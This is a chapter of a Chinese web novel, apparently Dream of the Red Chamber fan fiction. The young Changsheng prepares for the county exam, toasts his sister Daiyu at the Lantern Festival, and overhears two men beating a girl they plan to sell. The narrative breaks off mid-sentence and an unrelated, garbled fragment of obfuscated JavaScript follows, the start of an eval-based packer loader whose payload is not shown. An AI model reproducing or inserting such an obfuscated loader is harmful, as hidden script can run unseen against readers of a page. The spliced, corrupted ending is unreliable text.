起了细雪。

    林府内却无多少年节气氛，长生正闭门苦读，准备来年二月的县试。

    严朴为他拟了数十道考题，涉及经义、策论、判语，每日讲解批改，要求极严。

    长生天未亮即起，夜深方歇，案头烛泪堆积如山。

    黛玉心疼弟弟，常熬夜陪他，或做针线，或温书，姐弟二人，一盏孤灯，常至三更。

    这日，严朴讲解《孟子》“天将降大任于斯人也”一章，忽然问道：“长生，你读书科举，所求为何？”

    长生默然片刻，答道：“回先生，学生所求只为明理立身，守护家人。”

    有意思，常人回答都是慷慨激昂说些什么提携玉龙为君死，又或者什么为天地立心，为生民起命。

    严朴深深看他一眼：“护人需力，立身需位，明理需智。然力位智皆可求而得之，唯‘心’不可失。你心志坚毅，然执念亦深，易入偏锋。你需谨记，无论何时，心要正，路要直。歪门邪道，或可逞一时之快，然终非长久之计。”

    长生肃然：“学生谨记先生教诲。”

    严朴颔首，不再多言，继续授课。

    转眼已是正月十五，京城处处张灯结彩，火树银花。林府也挂了几盏红灯，应个景儿。

    黛玉身子大好，这日晚间，命人在后园亭中设了小火炉，温了壶金华酒，备了几样精致小菜，与长生赏雪。

    雪已停了，园中积雪皑皑，红梅映雪，清冷幽寂。

    姐弟二人对坐，黛玉替长生斟了杯暖酒，轻声道：“再过半月，你便要下场了。可紧张？”

    长生接过，摇头：“不紧张，姐姐放心，长生必不让你失望。”

    黛玉看着弟弟愈发沉稳的模样，又是骄傲酸楚，弟弟不过六岁，便要独自面对这茫茫前程。

    她举起酒杯，柔声道：“姐姐以茶代酒，祝我弟蟾宫折桂，前程似锦。”

    长生举杯，与姐姐轻轻一碰：“长生亦祝姐姐，身体康健，平安喜乐。”

    二人相视一笑，饮尽杯中物。

    暖酒入喉，驱散了冬夜寒意。

    正说着闲话，忽听墙外隐约传来女子哭泣之声。

    那哭声幽幽咽咽，时断时续，在这喜庆的元宵雪夜中，显得格外凄清刺耳。

    长生眉头一蹙，放下酒杯。

    黛玉亦侧耳倾听，面露不忍：“这深更半夜是谁在哭？听着是个姑娘家，怪可怜的。”

    长生起身：“姐姐稍坐，我去看看。”

    黛玉忙道：“让林安去便是，外头冷。”

    长生摇头：“无妨，我去去就回。”说着，披了件斗篷，唤了林安，主仆二人悄声出了后角门。

    角门外是一条僻静小巷，此时积雪未扫，杳无人迹，那哭声是从巷子深处一座破败小院里传出的。

    长生示意林安噤声，两人悄悄靠近，隐在墙根阴影里。

    只见院门虚掩，透过门缝，隐约可见院里站着两个男子，一个粗壮如牛，满脸横肉，另一个尖嘴猴腮，眼神闪烁。

    两人中间是一个十一二岁的少女，衣衫单薄，在雪地里瑟瑟发抖，正挣扎着想向外跑。

    “哭！还哭！”那粗壮男子抬手就是一个耳光，打得少女一个踉跄，翻在雪地里，“养了你这么些年，如今到了好年岁，正该替家里分忧，倒要跑？”

    那少女捂着脸，只低低啜泣，不敢言语。

    尖嘴男子蹲下身，捏着少女的下巴，嘿嘿笑道：“丫头，爹养你这些年不容易，明日带你去个好人家，往后吃香的喝辣的，比在这强百倍。你若再哭，惹恼了爹，明日卖你到那见不得人的地方去！”

    少女浑身一颤，眼泪扑簌簌往下掉，却不敢再挣扎，只低声道：“爹…女儿听话，女儿不哭了。”

    “这才像话。”粗壮男子哼了一声，“明日见了冯家大爷，乖巧些，听说那冯渊是个痴情种子就喜欢你这样娇怯怯的，若被他看上，赎了你去，也算你的造化。”

    尖嘴男子附和道：“正是，那冯大爷说了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''